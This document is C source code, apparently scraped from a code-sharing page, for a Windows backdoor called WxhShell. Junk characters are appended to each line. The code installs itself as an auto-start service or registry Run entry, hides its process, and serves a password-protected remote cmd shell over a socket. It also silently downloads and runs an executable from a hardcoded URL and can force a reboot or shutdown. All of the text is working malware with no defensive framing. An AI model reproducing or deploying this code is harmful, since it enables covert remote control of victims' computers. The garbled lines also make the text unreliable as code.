    if(Boot(SHUTDOWN)) Tc^ 0W=h  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); }Fjbj5w0  
    else { fmW{c mr|  
    closesocket(wsh); Cab.a)o  
    ExitThread(0); F rc  kA  
    } & P-8_I  
    break; *JJ8\R&P0  
    } ;5tOQ&p%v  
  // 获取shell Jq/itsg  
  case 's': { {+67<&g  
    CmdShell(wsh); ~IhM(Q*mO!  
    closesocket(wsh); m]n2wmE3n  
    ExitThread(0); "V p nr +6  
    break; QEr<(wM-y  
  } :H]d1  
  // 退出 4#IT" i  
  case 'x': { 2VN].t:  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); #gC [L=01  
    CloseIt(wsh); ?EFRf~7JP  
    break; G[k3`  
    } e0`z~z]6&  
  // 离开 hY&Yp^"}]^  
  case 'q': { P(shbi@  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); q A .9X4NQ  
    closesocket(wsh); ]RT  
    WSACleanup(); s 47R,K$  
    exit(1); &ksuk9M  
    break; D;R~!3f./b  
        } /QQRy_Z1)  
  } /PwiZ A3sA  
  } a}y b~:TC  
16L YVvmW  
  // 提示信息 O(-p md,  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); IhNX~Jg'^  
} 5MnP6(3$  
  } l2Sar1~1  
 vD#U+  
  return; (=!At)O  
} leC!Yj  
R/~!km  
// shell模块句柄 t.( `$  
int CmdShell(SOCKET sock) n#">k%bD  
{ 2d .$V,U<  
STARTUPINFO si; *Ypn@YpSp  
ZeroMemory(&si,sizeof(si)); " aG6u^%  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; (  cs  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; >?@5>wF  
PROCESS_INFORMATION ProcessInfo; NW[K/`-CTH  
char cmdline[]="cmd"; 'FXM7D   
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); jYVs\h6  
  return 0; H7+"BWc  
} nqy*>X`  
M_E,pg=rWI  
// 自身启动模式 3'z$@ ;Ev+  
int StartFromService(void) 7ui<2(W@0  
{ 7fR5V  
typedef struct YZf{."Opj[  
{ Jw]!x1rF~  
  DWORD ExitStatus; W:i Q& [f  
  DWORD PebBaseAddress; $}&a*c>  
  DWORD AffinityMask; c]M+|R5  
  DWORD BasePriority; cp Ot?XYR~  
  ULONG UniqueProcessId; hL3up]pZ  
  ULONG InheritedFromUniqueProcessId; g7zl5^o3j  
}   PROCESS_BASIC_INFORMATION; $]DuO1H./  
6\7c:  
PROCNTQSIP NtQueryInformationProcess; MZt#T+b  
UVw^t+n  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; TanWCt4r  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; ZO%^r%~s  
LQ~|VRRX<  
  HANDLE             hProcess; 0 PYYG  
  PROCESS_BASIC_INFORMATION pbi; dEk#"cvg  
oLoc jj~T  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); @6 "MhF  
  if(NULL == hInst ) return 0; liS'  
b=EI?XwJ  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); !P{ /;Q  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); |Y!^E % *  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); )Eozo4~  
`Q*`\-8J  
  if (!NtQueryInformationProcess) return 0; JQKXbsXS  
F7<mm7BGZ  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); }eLApFHEDg  
  if(!hProcess) return 0; GKoYT{6  
|XB<vj07G  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; *F( qg%1+  
'UX^]  
  CloseHandle(hProcess); J&aN6l?  
V48_aL  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); qArR5OJ  
if(hProcess==NULL) return 0; je mb/ :E  
5ngs1ZF@  
HMODULE hMod; .eN"s'  
char procName[255]; #m U\8M,  
unsigned long cbNeeded; b:S$oE  
9?\cm}^?  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); ^ |MS2'  
*)Pm   
  CloseHandle(hProcess); WXxnOLJr  
2Z{?3mAb;  
if(strstr(procName,"services")) return 1; // 以服务启动 5,;\zSz  
u{4P)DIQ  
  return 0; // 注册表启动 g"/n95k<  
} zLl-{Kk  
}5fd:Bm;  
// 主模块 f 6I)c$]Q  
int StartWxhshell(LPSTR lpCmdLine) 3Ws(],Q  
{ ~u*4k:2H  
  SOCKET wsl; ~3s ?.[}d  
BOOL val=TRUE; Y^]n>X  
  int port=0; o`CM15d*7o  
  struct sockaddr_in door; RFbf2s\t  
;}Jv4Z  
  if(wscfg.ws_autoins) Install(); {gzQ/|}#z-  
CG%bZco((  
port=atoi(lpCmdLine); ,[ 2N3iH  
7FH-l(W  
if(port<=0) port=wscfg.ws_port; M %,\2!$  
{m U%.5  
  WSADATA data; uRy}HLZ"  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; Py*WHHO  
bg|$1ue  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   j*QdD\)  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); ZW;Ec+n_K  
  door.sin_family = AF_INET; Qy9_tvq X  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); :0@0muo  
  door.sin_port = htons(port); |r+ x/,2-  
4]1/{</B|  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 6?,qysm06  
closesocket(wsl); xtGit}  
return 1; SXsszb:_  
} B}04E^  
ILCh1=?{9r  
  if(listen(wsl,2) == INVALID_SOCKET) { al#(<4sJ  
closesocket(wsl); ;\th.!'rn  
return 1; .J-k^+-  
} 1V`-D8-?  
  Wxhshell(wsl); ">7xSWR*4  
  WSACleanup(); LHtO|Utn(  
ddL3wQ  
return 0; ;X+0,K3c  
>C,0}lj  
} rZ,qHM  
MZ%J ]Nd  
// 以NT服务方式启动 ds*gL ~k^  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 1R_@C.I  
{ w&IYCYK_  
DWORD   status = 0; P:g!~&Q  
  DWORD   specificError = 0xfffffff; \:h7,[e  
#c:@oe4v  
  serviceStatus.dwServiceType     = SERVICE_WIN32; =H7p&DhD[  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; OR&pGoW  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 4j;IyQDvM  
  serviceStatus.dwWin32ExitCode     = 0; Sck!w 3  
  serviceStatus.dwServiceSpecificExitCode = 0; 'R1C-U3w,  
  serviceStatus.dwCheckPoint       = 0; kt Z~r. +  
  serviceStatus.dwWaitHint       = 0; {#+K+!SvDX  
C+\z$/q  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); MY{Kq;FvRP  
  if (hServiceStatusHandle==0) return; "`K_5"F  
#reR<qp&]  
status = GetLastError(); n$ByTmKxv  
  if (status!=NO_ERROR) 12i`82>;  
{ r7VBz_Q  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; Jb{g{a/  
    serviceStatus.dwCheckPoint       = 0; #_\**%,<  
    serviceStatus.dwWaitHint       = 0; 9V)cf  
    serviceStatus.dwWin32ExitCode     = status; )*%uG{h  
    serviceStatus.dwServiceSpecificExitCode = specificError; %o9mG<.T  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); |j"C52Q  
    return; c2V_|oL  
  } kPOk.F%)  
HpbwW=;V  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; TS#1+f]9J<  
  serviceStatus.dwCheckPoint       = 0; mmwc'-jU:  
  serviceStatus.dwWaitHint       = 0; idBd aZg  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); lLVD`)  
} R)d_0Ng  
4qDa: D"5  
// 处理NT服务事件,比如:启动、停止 v$`3}<3-  
VOID WINAPI NTServiceHandler(DWORD fdwControl) [W$x5|Z}Q  
{ E_& ;.hw  
switch(fdwControl) )%/ Ni^  
{ "o%okN  
case SERVICE_CONTROL_STOP: f`vWCb  
  serviceStatus.dwWin32ExitCode = 0; vy [7I8f{  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; c-zW 2;|61  
  serviceStatus.dwCheckPoint   = 0; jB -A d8  
  serviceStatus.dwWaitHint     = 0; FM3.z)>  
  { 0<A*I{,4L  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); fC"? r6d  
  } <> HI(6\@Z  
  return; gRs @T<k2  
case SERVICE_CONTROL_PAUSE: %>nAPO+e  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; F6{ O  
  break; _0[s]  
case SERVICE_CONTROL_CONTINUE: QBmARQ  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; aIT0t0.  
  break; q8_E_s-U,  
case SERVICE_CONTROL_INTERROGATE: p8]XNe  
  break; W;Dik%^tg  
}; NWwKp?  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ^Gbcs l~Gj  
} |@rf#,hTDp  
XwIHIG}  
// 标准应用程序主函数 rU>l(O'b  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) xxGQXW  
{ E0i!|H  
5:+x7Ed  
// 获取操作系统版本 g:^Hex?Yfd  
OsIsNt=GetOsVer(); &iuMB0rbu  
GetModuleFileName(NULL,ExeFile,MAX_PATH); Yk{4 3yw  
c~M'O26bW  
  // 从命令行安装 r"L:Mu  
  if(strpbrk(lpCmdLine,"iI")) Install(); 1"A"AMZf  
H(?+-72KX  
  // 下载执行文件 B*`[8kb,  
if(wscfg.ws_downexe) { DbI)tDi5D  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) "@+Z1k-8U  
  WinExec(wscfg.ws_filenam,SW_HIDE); {JQV~rfh`  
} m,5m'9 dj  
"V:RKH`  
if(!OsIsNt) { X.e4pLwGK  
// 如果时win9x,隐藏进程并且设置为注册表启动 abe5 As r  
HideProc(); ME*zMLoF+  
StartWxhshell(lpCmdLine); Ng&K5Z/  
} d<] eJ{  
else c8l\1ce?7  
  if(StartFromService()) laCVj6Rk  
  // 以服务方式启动 Zz|et206  
  StartServiceCtrlDispatcher(DispatchTable); 22d>\u+c  
else Yg!fEopLb  
  // 普通方式启动 GOCe&?  
  StartWxhshell(lpCmdLine); k:U%#rb;  
Kr<a6BEv5  
return 0; ;Uypv|xX  
}  fsKZ  
;x)f;!e+  
9D5v0Qi  
h^zcM_  
=========================================== d<_IC7$u>  
rb.:(d)T  
)\e0L/K@  
yBqKldl  
>U:.5Tch'V  
bT:;^eG"  
" c~Y  g(  
[ { F;4> g  
#include <stdio.h> =dQ46@  
#include <string.h> rgv$MnG  
#include <windows.h> ZB$,\|^6  
#include <winsock2.h> UWgPQ%}  
#include <winsvc.h> Y4Jaw2b  
#include <urlmon.h> :Mu]* N  
p?s[I)e  
#pragma comment (lib, "Ws2_32.lib") `cmzmQC  
#pragma comment (lib, "urlmon.lib") wx/*un%2  
GQ9H>Ssz  
#define MAX_USER   100 // 最大客户端连接数 )"bP]t^_  
#define BUF_SOCK   200 // sock buffer B%co`0$  
#define KEY_BUFF   255 // 输入 buffer 9Kc;]2m  
(Ixmg=C6y  
#define REBOOT     0   // 重启 ,Igd<A=  
#define SHUTDOWN   1   // 关机 z}$!B.)  
. P! pC  
#define DEF_PORT   5000 // 监听端口 p?<T _9e  
L# .vbf  
#define REG_LEN     16   // 注册表键长度 Ap(>mUs!i  
#define SVC_LEN     80   // NT服务名长度 Qv;^nj{\qV  
;3O=lo:$~  
// 从dll定义API ^hwTnW9Z1:  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); ;`Wh^Qgi  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); }@A{'q5y  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); V*+Z=Y'  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); IDt7KJ@hc  
|/RZGC4  
// wxhshell配置信息 u$V@akk  
struct WSCFG { mk`#\=GE  
  int ws_port;         // 监听端口 DUs0L\  
  char ws_passstr[REG_LEN]; // 口令 ,h9N,bIQg  
  int ws_autoins;       // 安装标记, 1=yes 0=no )O6_9f_  
  char ws_regname[REG_LEN]; // 注册表键名 eBl B0P  
  char ws_svcname[REG_LEN]; // 服务名 LyT[  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 O&PrO+&  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 jW.IkG[|  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 WD'[|s\  
int ws_downexe;       // 下载执行标记, 1=yes 0=no m@c\<-P  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" /80RO:'7  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 \ci[<CP  
>f~y2YAr  
}; c ^+{YH;k  
}C{wGK+o[  
// default Wxhshell configuration -]Q6Ril  
struct WSCFG wscfg={DEF_PORT, Xa=oEG  
    "xuhuanlingzhe", uPL|3ACS  
    1, 0(az80 p  
    "Wxhshell", |s[k= /~"  
    "Wxhshell", UV)!zgP  
            "WxhShell Service", vt2A/9_Z%  
    "Wrsky Windows CmdShell Service", ~&8bVA= .  
    "Please Input Your Password: ", sG k'G573  
  1, uKpWb1(  
  "http://www.wrsky.com/wxhshell.exe", OR-fC  
  "Wxhshell.exe" CDDOm8  
    }; E<4'4)FHuQ  
@]:GTrs  
// 消息定义模块 ^U{SUWl  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; j |:{ B  
char *msg_ws_prompt="\n\r? for help\n\r#>"; =7%c*O <  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; A}(Q^|6  
char *msg_ws_ext="\n\rExit."; y/6%'56uF  
char *msg_ws_end="\n\rQuit."; %@x.km3e2  
char *msg_ws_boot="\n\rReboot..."; Jbqm?Fy4X  
char *msg_ws_poff="\n\rShutdown..."; J*"G*x#u  
char *msg_ws_down="\n\rSave to "; wD`jks  
47^R  
char *msg_ws_err="\n\rErr!"; UZ 6:vmcT  
char *msg_ws_ok="\n\rOK!"; Ab)X/g-I @  
Hyz:i)2  
char ExeFile[MAX_PATH]; 5(&'/U^  
int nUser = 0; U=\!`_f':  
HANDLE handles[MAX_USER]; kmF@u@5M  
int OsIsNt; >_LZD4v! <  
Z'4oE )  
SERVICE_STATUS       serviceStatus; CUZ ;<Pn  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; 222Mm/QN  
t8upS u|  
// 函数声明 ~"#[<d  
int Install(void); 1usLCG>w{  
int Uninstall(void); 9/I|oh_ G  
int DownloadFile(char *sURL, SOCKET wsh); w4\g]\  
int Boot(int flag); C.q4rr  
void HideProc(void); .Fn7yTQ%  
int GetOsVer(void); ;UDd4@3`S"  
int Wxhshell(SOCKET wsl); KMogwulG  
void TalkWithClient(void *cs); s&~i S[  
int CmdShell(SOCKET sock); -}Q^A_xK  
int StartFromService(void); qK12:  
int StartWxhshell(LPSTR lpCmdLine); je^=gnq  
YgW 50)q^  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 9w( Wtw'  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); 3YOYlb %j  
s^ R i g[  
// 数据结构和表定义 +*ZF52hy|  
SERVICE_TABLE_ENTRY DispatchTable[] = A&/ YnJ"  
{ u:s[6T0  
{wscfg.ws_svcname, NTServiceMain}, ya0D5 0m  
{NULL, NULL} tc<ly{ 1c  
}; kF29~  
0}iND$6@a  
// 自我安装 q[MZSg  
int Install(void) z,q1TU9  
{ M7g6m  
  char svExeFile[MAX_PATH]; Y>2kOE  
  HKEY key; )xj!7:n)  
  strcpy(svExeFile,ExeFile); "$rmy>d  
f{eMh47 NC  
// 如果是win9x系统,修改注册表设为自启动 U *']7-  
if(!OsIsNt) { k86j& .m_  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 55#s/`gd)^  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); y?@(%PTp  
  RegCloseKey(key); ?0k4l8R  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { lzup! `g  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); &'d3Yt  
  RegCloseKey(key); EHqcQx`K_  
  return 0; E-J<%+  
    }  pu?D^h9/  
  } ^4 ?LQ[t'  
} '\I!RAZ  
else { urA kV#d#  
i"J`$u  
// 如果是NT以上系统,安装为系统服务 &R;Cm]jt  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); j$jgEtPK9=  
if (schSCManager!=0) +_ZXzzcO<  
{ 8|Vm6*TY&p  
  SC_HANDLE schService = CreateService ^L"ENsOs  
  ( =UMqa;\K  
  schSCManager, 3}9c0%}F  
  wscfg.ws_svcname, o/5loV3h  
  wscfg.ws_svcdisp, 1&Ruz[F5  
  SERVICE_ALL_ACCESS, 7\nR'MOZ  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 5T- N\)@  
  SERVICE_AUTO_START, P{gy/'PH,  
  SERVICE_ERROR_NORMAL, C3>`e3v  
  svExeFile, =#|K-X0d=  
  NULL, ~s4o1^6L  
  NULL, :#&Y  
  NULL, J2d 3&6  
  NULL, &D*22R4{CX  
  NULL (n0h#%  
  ); ;;? Zd  
  if (schService!=0) .*W_;Fo  
  { S @[B?sNj  
  CloseServiceHandle(schService); 6 r}R%{  
  CloseServiceHandle(schSCManager); \4 5%K|  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); @dx$&;w  
  strcat(svExeFile,wscfg.ws_svcname); C])b 3tM,7  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { \1R<GBC4  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); QkU6eE<M*  
  RegCloseKey(key); (D1$&  
  return 0; moT*r?l  
    } k;c>=B)e  
  } ^I]A@YNni  
  CloseServiceHandle(schSCManager); eUeOyC  
} )$oboAv#  
} C6ry]R@  
(f `zd.  
return 1; {]V+C=`  
} .qGfLvx%  
(&^k''f  
// 自我卸载 y$6~&X  
int Uninstall(void) /_.1f|{B  
{ ?f'iS#XL  
  HKEY key;  mX&!/U  
ZxvBo4>tH  
if(!OsIsNt) { Kdr7JQYzuz  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Ia!B8$$'RP  
  RegDeleteValue(key,wscfg.ws_regname); ywj'S7~A  
  RegCloseKey(key); \mGo k<b4  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { .qAlPe L:  
  RegDeleteValue(key,wscfg.ws_regname); >IFqwh7b  
  RegCloseKey(key); :7Jpt3  
  return 0; D,sb {N  
  } k^C^.[?  
} VS ?npH  
} (HD8Mm  
else { uXkc07 r'  
F\IJim-Rh  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 3tu:Vc.:M  
if (schSCManager!=0) V~! lY\  
{ 6<qVeO&uZ  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 9XEP:}5,  
  if (schService!=0) Oi-= Fp  
  {  A4  
  if(DeleteService(schService)!=0) { $-ICTp  
  CloseServiceHandle(schService); [JyhzYf\   
  CloseServiceHandle(schSCManager); o~J~-$T{  
  return 0; v| Yh]y  
  } {Ne5*HFV  
  CloseServiceHandle(schService); _(1Shm  
  } <2,NWn.  
  CloseServiceHandle(schSCManager); N&jHU+{OU  
} k=M_2T'  
} QuWW a|g^.  
lNs;-`I~  
return 1; 7+;$_,Xo<  
} fjP(r+[  
Y~"5HP|  
// 从指定url下载文件 c[<>e#s+;  
int DownloadFile(char *sURL, SOCKET wsh) 8o%g2 P9.  
{ xixdv{M<FF  
  HRESULT hr; &V77Wn OY  
char seps[]= "/"; X4I+  
char *token; _CImf1  
char *file; vzH"O=  
char myURL[MAX_PATH]; <TQ,7M4X  
char myFILE[MAX_PATH]; b<E+5;u  
J@lQzRqRb  
strcpy(myURL,sURL); "eG@F  
  token=strtok(myURL,seps); 0Q4i<4 XW  
  while(token!=NULL) 7Adg;  
  { }8&?  
    file=token; hy|Yy&-  
  token=strtok(NULL,seps); Lh;U2pA  
  } )~2~q7  
7GG:1:2+>  
GetCurrentDirectory(MAX_PATH,myFILE); >O$ JS,  
strcat(myFILE, "\\"); zz* *HwRt  
strcat(myFILE, file); [ @ASAhV^+  
  send(wsh,myFILE,strlen(myFILE),0); /C\tJs  
send(wsh,"...",3,0); |9Pi*)E  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); -50Qy[0."  
  if(hr==S_OK) sEzl4I  
return 0; Fz.Ij'8.H  
else Da-U@e!  
return 1; V ah&)&n  
-,a@bF:  
} 1<;RI?R[9  
T]UrKj/iF  
// 系统电源模块 NE5H\  
int Boot(int flag) Bk2j|7  
{ cyTBp58  
  HANDLE hToken; Xc8 XgZk  
  TOKEN_PRIVILEGES tkp; p>9|JMk  
aExt TE  
  if(OsIsNt) { .NSV%I  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); G(;R+%pu  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); I#UL nSJ3  
    tkp.PrivilegeCount = 1; B]#^&89wG)  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; F_d>@-<  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); WG]`Sy  
if(flag==REBOOT) { q{CD:I:-  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) iBh.&K{j  
  return 0; Dt:NBN  
} Iq@&?,W  
else { Z_Y' 3'^Tw  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 51gSbkVX  
  return 0; LMHii Os,  
} ~+S,`8-P  
  } DI0Wk^m  
  else { Pe/8=+qO  
if(flag==REBOOT) { K,5_{pj  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) ^I:f4RWo  
  return 0; ~A03J:Yc7  
} /{>_'0  
else { u9u'!hAGH  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) V>(>wSR  
  return 0; WX4 f3Um  
} vI \8@97  
} }uiD8b{I  
au#/Q  
return 1; wK!7mZ  
} h!J|4Q a  
P!u0_6  
// win9x进程隐藏模块 g&r3 ;  
void HideProc(void) K^e4w`F|  
{ ^GnR1.ux  
IC:>60A,]  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); uNf97*~_  
  if ( hKernel != NULL ) e7r3o,!  
  { #`@5`;U>#  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); ov\+&=IRG  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); ]ONBr(M\  
    FreeLibrary(hKernel); F60?%gg  
  } nSp OTQ  
V;d<S@$  
return; U8OVn(qV  
} Zx Ak  
_[h!r;DsG  
// 获取操作系统版本 t~%(Zu>S  
int GetOsVer(void) 6 \}.l  
{ ${{[g16X  
  OSVERSIONINFO winfo; snP]&l+  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); @k9n0Qe|F  
  GetVersionEx(&winfo); z:oi @q  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) n{(,r'  
  return 1; ^G14Z5.  
  else <9]J/w+  
  return 0; eCjyx|:J  
} [&sabM`Ul  
K"cV7U rE  
// 客户端句柄模块 :Q ?p^OC  
int Wxhshell(SOCKET wsl) &2r[4  
{ + zf`_1+)U  
  SOCKET wsh; %gu|  
  struct sockaddr_in client; rN'8,CV  
  DWORD myID; M>ntldV#g%  
PkcvUJV  
  while(nUser<MAX_USER) QYps5zcn  
{ \Nj#1G  
  int nSize=sizeof(client); *^:s! F  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); "u)Le6.  
  if(wsh==INVALID_SOCKET) return 1; ?Xj@Sx  
@$1jp4c   
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); G^:?)WRG  
if(handles[nUser]==0) Kf#iF*  
  closesocket(wsh); xy-Vw"I[bh  
else Q%W>m0 %  
  nUser++; ]F3fO5Z  
  } %awr3h>$  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); P6A##z  
qwq5y t?  
  return 0; Fg0!2MKq*  
} d^8n  
O~|Y#T  
// 关闭 socket xy]oj  
void CloseIt(SOCKET wsh) z.;!Pj  
{ r<B pX["  
closesocket(wsh); 8WpZ "  
nUser--; @w(X}q1  
ExitThread(0); =7F?'&LC  
} Y+eDE:4  
|3g'~E?$  
// 客户端请求句柄 %$N,6}n  
void TalkWithClient(void *cs) <Qt9MO`a  
{ \46*4?pP  
cNMDI  
  SOCKET wsh=(SOCKET)cs; HMhdK  
  char pwd[SVC_LEN]; :Sn4Pg `Q  
  char cmd[KEY_BUFF]; OVGB7CB]S  
char chr[1]; .:O($9^Ho  
int i,j;  |CAMdU  
!Y 9V1oVf"  
  while (nUser < MAX_USER) { 7bQST0 ?  
Ymf@r?F<  
if(wscfg.ws_passstr) { xT-`dS0u  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); OHt^e7\  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 'n}]  
  //ZeroMemory(pwd,KEY_BUFF); zm3$)*p1  
      i=0; [x'D+!  
  while(i<SVC_LEN) { =t %;mi,M  
Ii!{\p!  
  // 设置超时 bX 6uGu 7  
  fd_set FdRead; i:Gyi([C  
  struct timeval TimeOut; ~=9S AJr]  
  FD_ZERO(&FdRead); Qe_C^ (P  
  FD_SET(wsh,&FdRead); rONz*ly|i  
  TimeOut.tv_sec=8; WLiFD.  
  TimeOut.tv_usec=0; ^fE8|/]nG9  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); IY|`$sHb  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); `VF_rC[?  
yb,$UT"]  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); :KqSMuKR  
  pwd=chr[0]; <sSH^J4QqX  
  if(chr[0]==0xd || chr[0]==0xa) { Tj}%G  
  pwd=0; FiSx"o  
  break; ~V0 GRPnI  
  } \jb62Jp  
  i++; +No` 89Y  
    } #kE8EhQZ  
Gd$!xN %O  
  // 如果是非法用户,关闭 socket /x<uv_"  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); WJk3*$=  
} WJ,?5#  
< <F  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); VQ8Fs/Zt!  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); >">Xd@Wk  
8#[2]1X^8  
while(1) { v]rbm}uU9  
6}~k4;'}A  
  ZeroMemory(cmd,KEY_BUFF); 7}e5ac  
5Pf)&iG  
      // 自动支持客户端 telnet标准   % bKy  
  j=0; @bChJl4  
  while(j<KEY_BUFF) { #fk1'c2  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);  ^Vf@J  
  cmd[j]=chr[0]; a^_W}gzzd  
  if(chr[0]==0xa || chr[0]==0xd) { wc-v]$DW  
  cmd[j]=0; Ai)>ot  
  break; (EjlnG}5l  
  } Z?'?|vM  
  j++; ,/kZt!  
    } g~U<0+&yw%  
KpDb%j  
  // 下载文件 *3s-=.U~  
  if(strstr(cmd,"http://")) { VVcli*  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); {,1>(  
  if(DownloadFile(cmd,wsh)) 8 |Ob7+  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); <[w5M?n8  
  else hj{)6dBX%  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ~NLthZ (O  
  } #m;o)KkH$r  
  else { 4iZg2"[D  
